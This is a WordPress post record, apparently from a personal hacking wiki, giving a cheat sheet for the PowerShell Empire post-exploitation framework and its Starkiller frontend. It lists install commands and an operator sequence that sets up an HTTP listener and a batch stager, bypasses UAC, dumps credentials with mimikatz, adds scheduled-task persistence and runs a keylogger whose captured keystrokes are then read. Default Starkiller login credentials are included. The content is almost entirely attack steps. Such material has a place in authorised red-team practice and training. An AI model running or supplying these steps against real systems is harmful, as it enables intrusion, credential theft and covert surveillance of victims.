{"id":1653,"date":"2021-03-31T02:38:26","date_gmt":"2021-03-31T02:38:26","guid":{"rendered":"https:\/\/dft.wiki\/?p=1653"},"modified":"2026-06-08T23:10:03","modified_gmt":"2026-06-09T03:10:03","slug":"powershell-empire-cheat-sheet","status":"publish","type":"post","link":"https:\/\/dft.wiki\/?p=1653","title":{"rendered":"PowerShell Empire Cheat Sheet"},"content":{"rendered":"<p>Empire [<a href=\"https:\/\/github.com\/EmpireProject\/Empire\">Link<\/a>] is a post-exploitation framework for Windows and macOS, operated from a Linux machine. Starkiller [<a href=\"https:\/\/github.com\/BC-SECURITY\/Starkiller\">Link<\/a>] is a frontend for Empire.<\/p>\n<p><strong>Empire<\/strong><\/p>\n<pre>sudo apt install powershell-empire\r\nsudo powershell-empire\r\n\r\nOR\r\n\r\ngit clone \"https:\/\/github.com\/EmpireProject\/Empire.git\"\r\nsudo .\/Empire\/setup\/install.sh\r\n\r\nOR\r\n\r\ndocker pull empireproject\/empire\r\ndocker run -it -p 1337:1337 -p 5000:5000 bcsecurity\/empire<\/pre>\n<p>Usage:<\/p>\n<ul>\n<li>help<\/li>\n<li>listeners\n<ul>\n<li>uselistener [tab]<\/li>\n<li>uselistener http<\/li>\n<li>info<\/li>\n<li>set Name WebServer<\/li>\n<li>execute<\/li>\n<li>usestager windows\/launcher_bat\n<ul>\n<li>info<\/li>\n<li>options<\/li>\n<li>set Listener WebServer<\/li>\n<li>set StagerRetries 3<\/li>\n<li>execute<\/li>\n<li>back<\/li>\n<\/ul>\n<\/li>\n<li>back<\/li>\n<\/ul>\n<\/li>\n<li>list<\/li>\n<li>agents<\/li>\n<li>rename AAAAAAAA WIN1<\/li>\n<li>interact WIN1\n<ul>\n<li>help<\/li>\n<li>info<\/li>\n<li>sysinfo<\/li>\n<li>bypassuac WebServer<\/li>\n<li>exit<\/li>\n<\/ul>\n<\/li>\n<li>rename BBBBBBBB WIN1ADMIN<\/li>\n<li>interact WIN1ADMIN\n<ul>\n<li>info<\/li>\n<li>mimikatz<\/li>\n<li>creds<\/li>\n<li>searchmodule NAME<\/li>\n<li>usemodule [tab]<\/li>\n<li>usemodule persistence\/elevated\/schtasks\n<ul>\n<li>info<\/li>\n<li>set OnLogon True<\/li>\n<li>set Listener WebServer<\/li>\n<li>execute<\/li>\n<li>back<\/li>\n<\/ul>\n<\/li>\n<li>usemodule collection\/keylogger\n<ul>\n<li>execute<\/li>\n<li>back<\/li>\n<\/ul>\n<\/li>\n<li>back<\/li>\n<\/ul>\n<\/li>\n<li>exit<\/li>\n<li># see ~\/Empire\/downloads\/WIN1ADMIN\/keystrokes.txt<\/li>\n<\/ul>\n<p><strong>Starkiller<\/strong><\/p>\n<pre>apt install starkiller\r\nsudo starkiller &amp;\r\n\r\n<span style=\"color: #ff0000;\">URL: 1337<\/span>\r\nDefault username: empireadmin\r\nDefault password: password123<\/pre>\n","protected":false},"excerpt":{"rendered":"<p>Empire [Link] is a post-exploitation framework for Windows and macOS, operated from a Linux machine. [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[9],"tags":[],"class_list":["post-1653","post","type-post","status-publish","format-standard","hentry","category-hacking"],"_links":{"self":[{"href":"https:\/\/dft.wiki\/index.php?rest_route=\/wp\/v2\/posts\/1653","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/dft.wiki\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/dft.wiki\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/dft.wiki\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/dft.wiki\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1653"}],"version-history":[{"count":4,"href":"https:\/\/dft.wiki\/index.php?rest_route=\/wp\/v2\/posts\/1653\/revisions"}],"predecessor-version":[{"id":5751,"href":"https:\/\/dft.wiki\/index.php?rest_route=\/wp\/v2\/posts\/1653\/revisions\/5751"}],"wp:attachment":[{"href":"https:\/\/dft.wiki\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1653"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/dft.wiki\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1653"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/dft.wiki\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1653"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}